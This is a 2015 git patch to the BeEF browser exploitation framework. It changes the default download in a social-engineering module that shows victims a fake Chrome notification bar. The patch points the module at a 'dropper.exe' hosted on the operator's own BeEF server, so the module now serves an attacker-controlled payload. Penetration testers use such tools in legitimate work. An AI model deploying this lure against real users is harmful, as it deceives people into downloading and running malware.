From 799e5d96262362d211871859449ba98cbd2ba048 Mon Sep 17 00:00:00 2001 From: Brendan Coles Date: Sun, 19 Jul 2015 10:32:04 +0000 Subject: [PATCH] Use local dropper URL --- .../social_engineering/fake_notification_c/config.yaml | 2 +- modules/social_engineering/fake_notification_c/module.rb | 8 +++++++- 2 files changed, 8 insertions(+), 2 deletions(-) diff --git a/modules/social_engineering/fake_notification_c/config.yaml b/modules/social_engineering/fake_notification_c/config.yaml index 419b68585..64d179ddd 100644 --- a/modules/social_engineering/fake_notification_c/config.yaml +++ b/modules/social_engineering/fake_notification_c/config.yaml @@ -9,7 +9,7 @@ beef: enable: true category: "Social Engineering" name: "Fake Notification Bar (Chrome)" - description: "Displays a fake notification bar at the top of the screen, similar to those presented in Chrome. If the user clicks the notification they will be prompted to download the file specified below." + description: "Displays a fake notification bar at the top of the screen, similar to those presented in Chrome. If the user clicks the notification they will be prompted to download the file specified below.

You can mount an exe in BeEF as per extensions/social_engineering/droppers/readme.txt." authors: ["xntrik", "bcoles"] target: user_notify: ['ALL'] diff --git a/modules/social_engineering/fake_notification_c/module.rb b/modules/social_engineering/fake_notification_c/module.rb index bb174aad8..e8390e951 100644 --- a/modules/social_engineering/fake_notification_c/module.rb +++ b/modules/social_engineering/fake_notification_c/module.rb @@ -6,8 +6,14 @@ class Fake_notification_c < BeEF::Core::Command def self.options + @configuration = BeEF::Core::Configuration.instance + proto = @configuration.get("beef.http.https.enable") == true ? "https" : "http" + beef_host = @configuration.get("beef.http.public") || @configuration.get("beef.http.host") + beef_port = @configuration.get("beef.http.public_port") || @configuration.get("beef.http.port") + base_host = "#{proto}://#{beef_host}:#{beef_port}" + return [ - {'name' => 'url', 'ui_label' => 'URL', 'value' => 'http://the.earth.li/~sgtatham/putty/latest/x86/putty.exe', 'width'=>'150px'}, + {'name' => 'url', 'ui_label' => 'URL', 'value' => "#{base_host}/dropper.exe", 'width'=>'150px'}, { 'name' => 'notification_text', 'description' => 'Text displayed in the notification bar', 'ui_label' => 'Notification text',